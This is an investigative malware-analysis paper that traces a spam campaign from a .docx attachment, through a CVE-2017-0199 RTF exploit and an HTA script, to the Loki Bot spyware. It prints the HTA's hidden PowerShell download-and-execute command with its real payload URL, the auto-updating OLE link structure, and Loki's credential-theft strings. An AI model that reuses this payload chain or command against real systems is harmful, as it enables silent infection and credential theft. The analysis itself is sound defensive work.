

A Journey From Loki Bot Campaign To The Venom Spyware

An Investigative paper



Contents

SUMMARY	2
SCOPE	2
ANALYSIS	3
INFECTION CHAIN - INFO GRAPHIC VIEW	15
DIGGING DEEPER: FINDING THE C&C (AN INDONESIAN WEBSITE) HACKERS	17
ROAD TO VENOM SPYWARE	21
INDICATORS OF COMPROMISE	29
	30
RECOMMENDATION:	30
REFERENCE	31



SUMMARY

When it comes to Macro Malware, several people try to finish it off with two workarounds, Disable Macro (GPO) and user awareness. That said what if a malicious document doesn't use Macro codes to do its malicious tasks? What if a document is exploiting a vulnerability to do its malicious activities? That said, Let me invite you to a very new spam mail campaign happened or happening around the Globe, mostly GCC countries, as of this writing, which doesn't use any Macro codes.

This write up will be a journey from the initial spam mail which the user received in his/her inbox, confirming the campaign (we will cover one variant in this write-up, even though several are out there) as the infamous "LOKI BOT Spyware" and finding clues about offenders who compromised the C&C website. Then At last we will find another spyware "Venom Logger" within the same C&C of LOKI BOT and some crucial details.

Of course, while analyzing each area of this campaign, there were numerous variables taken into account. The threat actors can be responsible for only compromising the C&C website and the actual actors of the campaign might be different. At the same time, may be the same Threat actors are responsible for whole campaign.

SCOPE

- \checkmark Spam email received with malicious attachment, as part of campaign
- \checkmark Investigating the infection chain of document malware received with spam
- \checkmark Finding the Final Malware variant and confirming it as LOKI BOT spyware
- ✓ Getting into the Command and control
- ✓ Getting traces of suspected Threat Actors who hacked the C&C (website) of Loki
- ✓ Getting crucial details about another Spyware in the same C&C and extracting crucial details.



ANALYSIS

Unfortunately, few users received a suspicious spam mail with an attachment. Oh ya!, the spam mail crossed all controls and reached:

From:	Tao Ming <tao.ming.mel@gmail.com></tao.ming.mel@gmail.com>
Cc:	
Subject:	[SUSPECTED SPAM] Requirements & Catalogue
■ Message	ent.docx (13 KB)
I am wi Please I paymei	iting you regarding our new order. ind the Catalogue and Requirements we have for the new transaction. We have already arranged the deposit nt, so please let us know if you already confirmed it.
Any qu	estions, kindly let me know.
Best reg	pards,
Tao Mi	ng Mel

The attachment contained a ".docx" file of 13 KB. If we check the reputation of the sender IP address, 96.9.255.38 is poor belongs to Buffalo, United states.

LOCATION DATA	
Buffalo, <u>United States</u>	
OWNER DETAILS	
IP ADDRESS 96.9.255.38	
FWD/REV DNS MATCH No	
HOSTNAME <u>38-255-9-96.reverse-dns</u>	
ONETWORK OWNER <u>Nexeon Technologies</u>	
REPUTATION DETAILS	
REPUTATION DETAILS © EMAIL REPUTATION POOR	
REPUTATION DETAILS email Reputation Poor web Reputation Neutral 	
REPUTATION DETAILS @ EMAIL REPUTATION Poor @ WEB REPUTATION Neutral @ WEIGHTED REPUTATION SCORE -3.55	
REPUTATION DETAILS	
REPUTATION DETAILS ② EMAIL REPUTATION Poor ③ WEB REPUTATION Neutral ③ WEIGHTED REPUTATION SCORE -3.55 LAST DAY LAST MONTH ③ SPAM LEVEL High High	
REPUTATION DETAILS Image: Colspan="2">Image: Colspan="2">Poor Image: Colspan="2">Image: Colspan="2">Poor Image: Colspan="2">Image: Colspan="2" (Colspan="2") Image: Colspan="2">Image: Colspan="2" (Colspan="2") Image: Colspan="2") Image: Colspan="2">Image: Colspan="2") Image: Colspan="2">Image: Colspan="2" (Colspan="2") Image: Colspan="2") Image: Colspan="2") Image: Colspan="2") Image: Colspan="2") Image: Colspan="2">Image: Colspan="2" Image: Colspan="2") Image: Colspa="">Colspa="Colspan="">Colspan="2") Im	





We can see a rise of graph showing email flows, from the sender IP address

At this point, as an immediate action we should block the sender IP address at Mail Gateways and also the sender mail address. If we can see, the sender email domain is "gmail". This is one of the challenges where we can't just block the entire domain of the offender mail address. Also most of the time when the sender address is spoofed. As an added note, there are lot of firms which blocks all the domains related to personal emails like gmail, Hotmail, ymail etc, and then unblocking according to the proper requests and approvals.

Now Let's jump into the attached document to see what characteristics it exhibits.

ا signed document.docx

When we try to open the document, we can see the document is trying to communicate with an external link. "https://a.pomf.cat"





Once we open the file we can see, the document with an OLE2 link object and a popup immediately jumps and asks for updating the contents with the external object. This popup was hindered by killing the "winword.exe", in few other variants in the past (link in reference).



This popup doesn't matter for the document to connect to url, it will be automatically downloaded while opening the document

As we know ".docx" file can be considered as a .zip file with bunch of .xml files. Let's see what is inside the xml files.



👢 _rels	5/30/2017 2:13 PM	File folder	
🐌 media	5/30/2017 2:13 PM	File folder	
👢 theme	5/30/2017 2:13 PM	File folder	
🔛 document.xml		Notepad++ Docum	3 KB
🛛 🔛 fontTable.xml		Notepad++ Docum	2 KB
📝 settings.xml		Notepad++ Docum	3 KB
📝 styles.xml		Notepad++ Docum	29 KB
📝 webSettings.xml		Notepad++ Docum	1 KB

If we see the "document.xml" file, we can see very promising details regarding the OLE object.

<c:OLEObject Type="Link" ProgID="Word.Document.8" ShapeID=" x0000 i1025" DrawAspect="Content" r:id="rId5" UpdateMode="Always"> <o:LinkType>EnhancedMetaFile</o:LinkType> <o:LockedField>false</o:LockedField> <o:FieldCodes>\f O</o:FieldCodes> </o:OLEObject> </w:object>

The main focus is that the OLE Object type is a Link, and it has a relationship ID "rld5".

Now if we go to the "rels_" folder in the unzipped "docx" file, we will see the below

Requirement 🕨 word	I ▶ _rels	✓ Č	Search _rels
Name	A	Date modified	Туре
🔮 do	cument.xml.rels		XML Document

So the document was embedded with a OLE2Link object with automatic updating, connection to external source.



locur	ertymi æs 🛙
1	xml version="1.0" encoding="UTF-8" standalone="yes"?
2	<pre>KRelationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">KRelationship Id="rId3"</pre>
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/×Relationship Id="rId7"
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/×Relationship Id="rId2"
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/×Relationship Id="rId1"
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/×Relationship Id="rId6"
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/×Relationship Id= <mark>"rId5"</mark>
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="https://a.pomf.cat/doc" TargetMode="External"/×Relationship Id="rId4"
	Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.emf"/×/Relationships>

This document would download another ".doc" file from the remote website. It will do an auto update which will initiate connection to remote host while opening the document (human intervention is not needed at all)

ces Mailings Review V	/iew
A* A* Aa* 🛞 💷 * 🗄	
· A · A · E =	Thormal Thospacing Heading 1 Heading 2 Title Subtle Emp Emphasis
15	Paragraph 5 Styles
	Links ? ×
	Source file Item Type Update
	https://a.pomf.cet doc Document Auto Auto
	Qpen Source
	Change Source
	Break Link
	Source information for selected link Source file: https://a.pomf.catdoc Item in file: Link type: Microsoft Word 97 - 2003 Document
	Update method for selected link
	Automatic update
	<u>Manual update</u>
	Locged
	Image: Second link Image: Second link
	OK Cencel

Basically, the downloaded file will be automatically opened within "WINWORD.EXE".

What is the downloaded document "cxiwmh.doc" file?





Well, this is the seed which would exploit the one of Windows Vulnerability "CVE-2017-0199".

CVE-2017-0199: Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1 allow remote attackers to execute arbitrary code via a crafted document, aka "Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows API."

On closer inspection, the downloaded ".doc" is actually an "RTF" file, which contains OLE2 Link Object embedded. We will see how we can identify this step by step:

7B	5C	72	74	76	30	20	20	20	5C	61	64	65	66	6C	61	6E	{	١	r	t	v O				١	a	d	e	f	1	a	n
67	31	30	32	35	5C	61	6E	73	69	5C	61	6E	73	69	63	70	g	1	0	2	5 \	a	n	s	i	١	a	n	9	i	с	p
67	31	32	35	32	5C	75	63	31	5C	61	64	65	66	66	33	31	g	1	2	5	2 \	u	с	1	١	a	d	e	f	f	3	1
35	30	37	5C	64	65	66	66	30	5C	73	74	73	68	66	64	62	5	0	7	\	d e	f	f	0	٨	s	t	s	h	f	d	ь
63	68	33	31	35	30	35	5C	73	74	73	68	66	6C	6F	63	68	с	h	3	1	5 0	5	۸	3	t	s	h	f	1	0	с	h
33	31	35	30	36	5C	73	74	73	68	66	68	69	63	68	33	31	3	1	5	0	6 \	s	t	s	h	f	h	i	с	h	3	1
35	30	36	5C	73	74	73	68	66	62	69	33	31	35	30	37	5C	5	0	6	١	s t	s	h	f	b	i	3	1	5	0	7	١
64	65	66	6C	61	6E	67	31	30	33	33	5C	64	65	66	6C	61	d	e	f	1	a n	g	1	0	3	3	١	d	e	f	1	a
6E	67	66	65	32	30	35	32	5C	74	68	65	6D	65	6C	61	6E	n	g	f	e	2 0	5	2	١	t	h	e	m	e	1	a	n
67	31	30	33	33	5C	74	68	65	6D	65	6C	61	6E	67	66	65	g	1	0	3	3 \	t	h	e	m	e	1	a	n	g	f	e
32	30	35	32	5C	74	68	65	6D	65	6C	61	6E	67	63	73	30	2	0	5	2	\ t	h	e	m	e	1	a	n	g	с	9	0
0D	0A	7B	5C	69	6E	66	6F	0D	0A	7B	5C	61	75	74	68	6F			{	\	i r	f	0			ł	١	a	u	t	h	0

From the RTF document, we can extract lot of entities with in. But we are keen on the OLE objects. So we will extract the entities which match only OLE objects embedded within the document.



We got one result which is the "object data". The result shows, an index number "10" which the "rtfdump" tool assigned for the particular entity. Also, In a RTF document, the content of



each object is encoded with hex characters. The entity "10" contains 5202 hex characters. Now we will focus on this:

C	:\Python	27>	rtf	dum	b.py	/ - 9	s 10			. (doc	r	nore	e				~
C	:0000000	30	0D	OD	0A	0D	OD	0A	OD	OD	0A	0D	OD	0A	OD	OD	0A	0
C	0000010:	09	09	09	09	31	OD	0D	0 A	0D	0D	0 A	OD	0D	0A	0D	0D	
C	0000020:	0A	0D	OD	0A	09	09	09	30	OD	OD	0 A	OD	OD	0A	OD	OD	
C	0000030:	0A	0D	0D	0A	0D	OD	0A	0D	0D	0 A	0D	OD	0A	0D	0D	0A	
C	0000040:	0D	0D	0 A	09	35	0D	OD	0A	0D	OD	0 A	0D	OD	0A	OD	OD	
C	0000050:	0 A	0D	0D	0 A	09	09	09	09	09	09	09	09	09	30	OD	0D	
C	0000060:	0A	0D	OD	0A	OD	OD	0 A	OD	OD	0 A	OD	OD	0A	09	09	09	
C	0000070:	09	09	09	09	09	09	30	OD	0D	0 A	0D	OD	0A	OD	OD	0A	
C	0000080:	0D	0D	0A	30	OD	OD	0A	OD	0D	0A	0D	OD	0A	30	OD	OD	
C	0000090:	0A	0D	OD	0A	OD	OD	0A	OD	OD	0 A	OD	OD	0A	OD	OD	0A	
C	:0A00000	0D	0D	0 A	OD	0D	0 A	0D	OD	0 A	09	30	OD	0D	0 A	0D	OD	
C	00000в0:	0A	0D	OD	0 A	OD	OD	0 A	OD	OD	0 A	OD	OD	0A	OD	OD	0 A	
C	00000C0:	0D	0D	0A	09	09	09	32	0D	0D	0 A	0D	0D	0A	0D	0D	0A	
C)00000D0:	0D	0D	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	OD	
C	00000E0:	0D	0A	09	09	09	09	09	09	09	30	0D	OD	0A	OD	OD	0A	
C	00000F0:	0D	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	OD	
C	00000100:	OD	0A	30	09	09	09	09	09	09	09	30	OD	OD	0A	OD	OD	
C	00000110:	ΟA	ŌD	ŌD	0A	<u>0</u> 9	<u>0</u> 9	<u>0</u> 9	09	30	QD	QD	0A	ŌD	QD	ΟA	ŌD	
	0000120:	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	
0	0000130:	ΟA	ŌD	0D	0A	09	30	0D	QD	0A	QD	QD	0A	ŌD	QD	0A	0D	
	00000140:	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	OD	OD	0A	09	09	
9	0000150:	09	09	09	30	OD	0A	30	39	30	30	30	30	30	30	34	66	
9	00000160:	34	63	34	35	33	32	34	63	36	39	36	65	36	62	30	30	4c45324c696e6b00
	00000170:	30	30	30	30	30	30	30	30	30	30	30	30	30	30	30	30	000000000000000000000000000000000000000
	00000180:	30	30	30	61	30	30	30	30	ÖD	0A	64	30	63	66	31	31	000a0000d0cf11
5	0000190:	65	30	6T	31	62	31	31	6T	65	31	30	30	30	30	30	30	e0a1b11ae1000000
	000001A0:	30	30	30	30	30	30	30	30	30	30	30	30	30	30	30	30	000000000000000000000000000000000000000
	00000TB0:	30	30	30	30	30	30	30	30	30	30	33	65	30	30	30	33	0000000003e0003
	000001C0:	30	30	66	65	60	66	30	39	30	30	30	30	30	30	30	30	00TeTT0900060000
		30	30	30	30	30	30	30	30	30	30	30	30	30	30	30	30	000000000000000000000000000000000000000
	000001E0:	30	30	30	21	30	30	30	30	30	30	30	21	30	30	30	30	0001000000010000
	00001F0:	20	20	20	20	20	20	20	20	20	20	20	21	30	20	20	20	000000000000000000000000000000000000000
		30	30	50	52	50	50	50	50	50	50	30	50	30	30	30	20	000200000000000000000000000000000000000
		30	30	30	30	30	30	30	30	30	30	50	50	66	50	66	66	
	0000220:	66	66	66	66	66	66	66	66	66	66	66	66	66	66	66	66	
	0000230.	66	66	66	66	66	66	66	66	66	66	66	66	66	66	66	66	FFFFFFFFFFFFFFF
1	0000240.	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

If we closely look into hex ascii dump, we can see the characters distributed quiet brilliantly,

01050000 02000000, which shows it is an OLE object stream which we are looking at. And the next line starts with "d0cf11e0", we can guess it contains an OLE object.

When we convert hex characters to binary, we can see the OLE2 Link which we are referring to the Vulnerability.

C:\Python	27>r	rtfo	dump	. .py	/ -9	5 10) -+			. (doc						
:0000000	01	05	00	00	02	00	00	00	09	00	00	00	4F	4C	45	32	OLE2
0000010:	4C	69	6E	6B	00	00	00	00	00	00	00	00	00	00	0A	00	Link
0000020:	00	D0	CF	11	E0	A1	Β1	1A	Ε1	00	00	00	00	00	00	00	.≞≟.αí∭.ß
00000030:	00	00	00	00	00	00	00	00	00	3E	00	03	00	FE	FF	09	· · · · · · · · · · · · · • • · · •
00000040:	00	06	00	00	00	00	00	00	00	00	00	00	00	01	00	00	
00000050:	00	01	00	00	00	00	00	00	00	00	10	00	00	02	00	00	
0000060:	00	01	00	00	00	FE	FF	FF	FF	00	00	00	00	00	00	00	
00000070:	00	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	FF	

The clear and precise information about this:



C:\Python27>rtfdump.py -s 10 -H -i	.doc
Name: 'OLE2Link\x00'	
Position embedded: 00000021	
Size embedded: 00000a00	
md5: db6cd5fdf29afe2d946f8e4a91dcd258	
magic: d0cf11e0	

Now we will extract the embedded object:

2: 183 '\x03LinkInfo'	
3: 6 '\x030bjInfo'	

We found three streams, and we can see the embedded URL with the first stream view \odot

C:\Python	27>r	tfd	lump	p.py	/ - 5	s 10) -+	4 – E	E - C	d			doc	0	oled	dump	.py -s 1
00000000:	01	00	00	02	09	00	00	00	01	00	υu	00	00	00	00	00	
0000010:	00	00	00	00	00	00	00	00	A4	00	00	00	EO	C9	EA	79	ñα _Γ Ωγ
0000020:	F9	BA	CE	11	8C	82	00	AA	00	4B	A9	ОВ	8C	00	00	00	• #.îé.¬.K¬
00000030:	68	00	74	00	74	00	70	00	73	00	3A	00	2F	00	2F	00	h.t.t.p.s/./.
00000040:	61	00	2E	00	70	00	6F	00	6D	00	66	00	2E	00	63	00	ap.o.m.fc.
00000050:	61	00	74	00	2F	00	6C	00	67	00	63	00	64	00	7A	00	<u>a +</u> /.
0000060:	6D	00	2E	00	68	00	74	00	61	00	00	00	00	00	00	00	.h.t.a
00000070:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	· · · · · · · · · · · · · · · · · · ·
00000080:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000090:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
:0A000000	00	00	00	00	79	58	81	F4	3B	1D	7F	48	AF	2C	82	5D	yXü[;.∆H»,é]
00000в0:	C4	85	27	63	00	00	00	00	A5	AB	00	00	FF	FF	FF	FF	—à'cѽ
000000C0:	06	09	02	00	00	00	00	00	C 0	00	00	00	00	00	00	46	F
000000D0:	00	00	00	00	FF	FF	FF	FF	00	00	00	00	00	00	00	00	
000000E0:	90	66	60	A6	37	в5	D2	01	00	00	00	00	00	00	00	00	Éf`ª7╡╥

We can see that the rtf file will download from hxxps://a.pomf.cat/ijfwmm.hta. Also we can see that the byte sequence (E0 C9 EA 79 F9 BA CE 11 8C 82 00 AA 00 4B A9 0B), is the binary representation of the "URL Moniker" with the GUID: {79EAC9E0-BAF9-11CE-8C82-00AA004BA90B}. Notice that the binary byte sequence and the text representation of the GUID are partially reversed, this is typical for GUIDs.



00000000:	01	00	00	02	09	00	00	00	01	00	00	00	00	00	00	00	<u></u>
00000010:	00	00	00	00	00	00	00	00	Α4	00	00	00	ΕO	C9	EA	79	¤àÉêy
00000020:	F9	BA	CE	11	8C	82	00	AA	00	4B	Α9	0B	8C	00	00	00	ù°Î.Œ,.ª.K© Œ
00000030:	68	00	74	00	74	00	70	00	73	00	ЗA	00	2F	00	2 F	00	h.t.t.p.s.:././.
00000040:	61	00	2E	00	70	00	6F	00	6D	00	66	00	2E	00	63	00	ap.o.m.fc.
00000050:	61	00	74	00	2F	00	6C	00	67	00	63	00	64	00	7A	00	a.t./ .
00000060:	6D	00	2E	00	68	00	74	00	61	00	00	00	00	00	00	00	.h.t.a
00000070:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	····
00000080:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000090:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000000A0:	00	00	00	00	79	58	81	F4	3B	1D	7F	48	AF	2C	82	5D	уХô;.Ūн¯,,]
000000B0:	C4	85	27	63	00	00	00	00	A 5	AB	00	00	FF	FF	FF	FF	Ä'c¥«ÿÿÿÿ
000000000:	06	09	02	00	00	00	00	00	C0	00	00	00	00	00	00	46	F
000000D0:	00	00	00	00	FF	FF	FF	FF	00	00	00	00	00	00	00	00	
000000E0:	90	66	60	Α6	37	В5	D2	01	00	00	00	00	00	00	00	00	f`¦7µÒ

"Monikers connect to and activate objects, whether they are in the same machine or across a network. For example COM uses monikers to establish a network connection. They are also used to identify, connect to, and run OLE compound document link objects."

So this moniker will recognize the content-type of the remote file and open the downloaded file with Microsoft's HTA engine.

3:39:02 WINWORD.EXE 3:39:02 mshta.exe	2096 RegCloseKey HKCR\CL 3996 Process Start	SID\{3050f4d8-98B5-11CF-BB82-0	0AA00BD	CE0B}	SUCCESS	Parent PID: 656, Command line: C:\Windows\Syste
33902 mshta exe 33902 mshta exe	3:39:00 mshta exe 3966 1 Load Im Event Pro 3:39:02 mshta exe 3966 1 RegOpe Load Im 3:39:02 mshta exe 3966 1 RegOpe Date: 6/1/2017 3:39:02 PM 3:39:02 mshta exe 3966 1 RegOpe Date: 6/1/2017 3:39:02 PM 3:39:02 mshta exe 3966 1 RegOue Date: 6/1/2017 3:39:02 PM 3:39:02 mshta exe 3966 1 RegOue Class: Registry 3:39:02 mshta exe 3966 1 RegOue Class: RegIstry 3:39:02 mshta exe 3966 1 RegOue Operation: RegOue 3:39:02 mshta exe 3966 1 RegOue SUCCESS Path: SUCCESS 3:39:02 mshta exe 3966 1 RegOue SUCCESS Path: HKCR\CLSID\(3050f4d8-985:) 3:39:02 mshta exe 3966 1 RegOue SUCCESS Path: HKCR\CLSID\(3050f4d8-985:) 3:39:02 mshta exe 3966 1 RegOue Duration: 0.0000014				X SUCCESS SUCCESS SUCCESS SUCCESS exeNAME NOT exeNAME NOT exeNAME NOT exeNAME NOT exeNAME NOT exeNAME NOT exeNAME NOT exeNAME NOT exeNAME NOT exeNAME NOT	Thread ID: 2840 Image Base: 0x7060000, Image Size: 0x7000 Image Base: 0x776c0000, Image Size: 0x164000 Desired Access: Query Value, Enumerate Sub Keys DoUND Length: 1,024 FOUND Length: 1,024
	9885-11CF-8882-0 9885-11CF-8882-0 9885-11CF-8882-00 9885-11cf-8882-00	0AA00BDCE0B} 0AA00BDCE0B} 0AA00BDCE0B}	^	Name (Default) AppID	Type REG_SZ REG_SZ	Data HTML Application {40AEEAB6-8FDA-41e3

We can see the "WINWORD.EXE" is starting the HTA application:

So by now we understood that, the rtf doc will communicate the "hxxps://a.pomf.cat/ijfwmm.hta", downloads and executes by HTA engine.



But how it automatically connect to the malicious URL without human intervention?

We have found already that the ".docx" which is the first document, had an URL OLE object which was said to "update automatically" option was enabled, which made it automatically connect to the malicious URL which downloaded and executed the "RTF" document. Similarly if we see the RTF document, we can see the following aspects:

c :	\P	vtl	hon	27>	rtfo	dum	o. p\	/ - 9	s 7			d								
00	00	00	00:	0D	0A	7B	5C	6F	62	οА	05	03	74	5C	6F	62	6A	61	75	{\object_objau
00	00	00	10:	74	6C	69	6E	6B	5C	6F	62	6A	75	70	64	61	74	65	5C	tlink\objupdate\
00	00	00	20:	72	73	6C	74	70	69	63	74	5C	6F	62	6A	77	32	39	31	rsltpict\objw291
00	00	00	30:	5C	6F	62	6A	68	32	33	30	5C	6F	62	6A	73	63	61	6C	\objh230\objscal
00	00	004	40:	65	78	39	39	5C	6F	62	6A	73	63	61	6C	65	79	31	30	ex99\objscaley10
00	00	00	50:	31	0D	0 A	7B	5C	2A	5C	6F	62	6A	63	6C	61	73	73	20	1{*\objclass
00	00	00	60:	5C	27	35	37	5C	27	36	66	5C	27	37	32	5C	27	36	34	\'57\'6f\'72\'64
00	00	00	70:	2E	44	6F	63	75	6D	65	6E	74	2E	38	7D	0D	0A	7B	5C	.Document.8}{\
00	00	00	80:	2A	5C	6F	62	6A	64	61	74	61	20	30	0D	0D	0 A	0 D	0D	*\objdata 0
00	00	00	90:	0A	0D	0D	0 A	0 D	0D	0 A	0D	0D	0 A	09	09	09	09	31	0D	1.

We can see that the document is injected with Object update control:

{\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\objscaley101..{\ *\objclass\'57\'67\'72\'64. Document.8}..{*\objdata 0

Now the RTF file enabled with the power to do things, automatically connect to the remote URL and due to vulnerability executing the ".hta" file, without any human Intervention.

So as of now the first Document ".docx" downloaded and executed the ".doc". Then ".doc" downloaded and executed ".hta" file from remote URL. Both automatically carried out without **"Human Intervention".**

Now what is in the ".hta" file?

HTML Application (HTA):

An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript. The HTML is used to generate the user interface, and the scripting language is used for the program logic. An HTA executes without the constraints of the internet browser security model; in fact, it executes as a "fully trusted" application.





Now when we see the contents in the downloaded .hta file:

<html></html>	
<pre>kbody></pre>	
Kscript type="text/whsgringt">	
<pre>set shhh = CreateObject("WScript Shell")</pre>	
Dim var1	
var1 = "PowerShell (New-Object System.Net.WebClient).DownloadFile(' <u>http://www.naturalspinfrance.com/js/time/browser.exe</u> ','%temp%\svchost32.exe');Start-Pro	cess
'%temp%\svchost32.exe'"	
shhh.run var1, vbHide	
jelf.close	

We can easily identify, what is happening,

The VBscript inside the 'hta' file is creating a shell object and powershell is initiated to download an executable file from remote host:

"http://www.naturalspinfrance.com/js/time/browser.exe".

The executable is renamed as "svchost32.exe" and saved into %temp% folder. Then immediately starts malware .

We can see that the "mshta.exe" querying and initiating "powershell.exe" to infect the machine with the malware which it downloaded

3:39:05 🗂 mshta.exe	3996 🛃 QuerySecurityFC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS	Information: Label
3:39:05 🛅 mshta.exe	3996 🛃 QueryNameInfoC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS	Name: \Windows\System32\WindowsPowerShell\v
3:39:05 🛅 mshta.exe	3996 🎝 Process Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS	PID: 3812, Command line: "C:\Windows\System32\
3:39:05 🗵 powershell.exe	3812 💐 Process Start	SUCCESS	Parent PID: 3996, Command line: "C:\Windows\Sys
3:39:05 🛃 powershell.exe	3812 🛃 Thread Create	SUCCESS	Thread ID: 1544

So till the infection of the machine, there were multiple stages. The serious part here is in any of the stages from the first document till the malware infection, there were no Human interventions. To reiterate the fact, let's see what happened when we 'just opened' the first document "signed document.docx":



Protocol	Host	URL
HTTPS	a.pomf.cat	/
HTTP	Tunnel to	a.pomf.cat:443
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTPS	a.pomf.cat	1
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTP	Tunnel to	a.pomf.cat:443
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTPS	a.pomf.cat	1
HTTP	Tunnel to	a.pomf.cat:443
HTTPS	a.pomf.cat	1
HTTP	Tunnel to	a.pomf.cat:443
HTTPS	a.pomf.cat	1
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTP	Tunnel to	a.pomf.cat:443
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTPS	a.pomf.cat	/cxiwmh.doc
HTTPS	a.pomf.cat	/ijwfmm.hta

All the above mentioned stages were passed without human intervention. The final "browser.exe" was not allowed to download and execute while I analyzed.



So what was the motive of this whole campaign? What was the final malware which tried to download and execute in the victim machine?

I analyzed multiple variants of the "signed document.docx" from incoming emails. Even though file names or URLs were different, the architecture of infection chain was similar. Moreover, the final threat or campaign was with Unique Spyware called "LOKI BOT"



INFECTION CHAIN - INFO GRAPHIC VIEW

The whole infection chain can be represented as below:



The Loki payload file "browser.exe" was obfuscated and was harvesting all the information from the machine to command and control. It had Loki unique strings within it. For example, apart from different command and control destinations, the malware had a Russian underground community domain "fuckav.ru" string, where hack tools and malware were available to download.



Loki campaign was unveiled in GCC countries in my Blog couple of months ago:

https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/

Let's see the parameters and way to confirm it is indeed LOKI BOT campaign. One factor is that it is exhibiting same behavior of previously found LOKI BOT campaign mentioned in the above mentioned Blog post and other variants.

584 results. iddress Length Result x418700 46 Software\Martin Prikryl x418701 40 %s\WS_FTP.INI x418778 20 %s\WS_FTP.INI x418778 22 %s\Ipswitch x418778 22 %s\Ipswitch x418778 20 ws_ftp.ini x418778 33 MAC=%02X%02XW02XINSTALL=%08X%08Xk x41874 24 %s\%s.exe x418824 9 Fuckav.ru x418846 10 etzrB x418990 10 etzrB			Results - browser.exe (6032) - C
iddress Length Result x418700 46 Software\Martin Prikryl x418730 40 %s\WS_FTP.INI x41875c 26 %s\WS_FTP.INI x418778 22 %s\Ipswitch x418770 30 MAC=%02X%02XINSTALL=%08X%08Xk x418770 33 MAC=%02X%02XINSTALL=%08X%08Xk x418874 24 %s\sec x418874 29 Fuckav.ru x418996 10 etzrB x4189946 10 etzrB	584 results	• •	
x418700 46 Software\Martin Prikryl x418730 40 %s\WS_FTP.INI x41875c 26 %s\WS_FTP.INI x418778 22 %s\Ipswitch x418778 20 ws_ftp.ini x418770 30 MAC=%02X%02X%02XINSTALL=%08X%08Xk x41874 24 %s\[%s\]%s.exe x418822 9 Fuckav.ru x418946 10 etzrB x4189946 10 etzrB x4189946 10 etzrB	ddress	Length	Result
x418730 40 %s\WS_FTP\WS_FTP.INI x41875c 26 %s\WS_FTP.INI x418778 22 %s\Ipswitch x418778 20 ws_ftp.ini x418778 52 %s\WetSarang\Xftp\Sessions x41876 33 MAC=%02X%02X%02XINSTALL=%08X%08Xk x418874 24 %s\%s\es.exe x418874 9 Fuckav.ru x418946 10 etzrB x418946 10 etzrB	x418700	46	Software\Martin Prikryl
x41875c 26 %s\WS_FTP.INI x418778 22 %s\Ipswitch x418709 20 ws_ftp.ini x418788 52 %s\NetSarang\Xftp\Sessions x418770 33 MAC=%02X%02XINSTALL=%08X%08Xk x418874 24 %s\%s.exe x418874 29 Fuckav.ru x418946 10 etzrB x418946 10 etzrB x418946 10 etzrB	x418730	40	%s\WS_FTP\WS_FTP.INI
x418778 22 %s\Ipswitch x418770 20 ws_ftp.ini x418788 52 %s\NetSarang\Xftp\Sessions x418760 33 MAC=%02X%02XINSTALL=%08X%08Xk x418874 24 %s\%s\%s.exe x418822 9 Fuckav.ru x418946 10 etzrB x418940 10 etzrB	x41875c	26	%s\WS_FTP.INI
x418790 20 ws_ftp.ini x418780 52 %s\NetSarang\Xftp\Sessions x418760 33 MAC=%02X%02XNSTALL=%08X%08Xk x418874 24 %s\%s\%s.exe x418874 24 %s\%s\%s.exe x418874 9 Fuckav.ru x418874 9 Fuckav.ru x418874 9 Fuckav.ru	x418778	22	%s\Ipswitch
x4187a8 52 %s\NetSarang\Xftp\Sessions x4187f0 33 MAC=%02X%02XINSTALL=%08X%08Xk x418874 24 %s\%s.exe x418874 24 %s\%s.exe x418824 9 Fuckav.ru x418946 10 etzrB x418990 16 etcrB	x418790	20	ws ftp.ini
x4187f0 33 MAC=%02X%02X%02XINSTALL=%08X%08Xk x418874 24 %s\%s.exe x418862 9 Fuckav.ru x418946 10 etzrB x418940 10 etzrB	x4187a8	52	%s\NetSarang\Xftp\Sessions
x418874 24 %s\%s\%s.exe x4188c2 9 Fuckav.ru x418946 10 etzrB	x4187f0	33	MAC=%02X%02XINSTALL=%08X%08Xk
x4188c2 9 Fuckav.ru x418946 10 etzrB w418090 16 etzrB	x418874	24	%s\%s\%s.exe
x418946 10 etzrB	x4188c2	9	Fuckav.ru
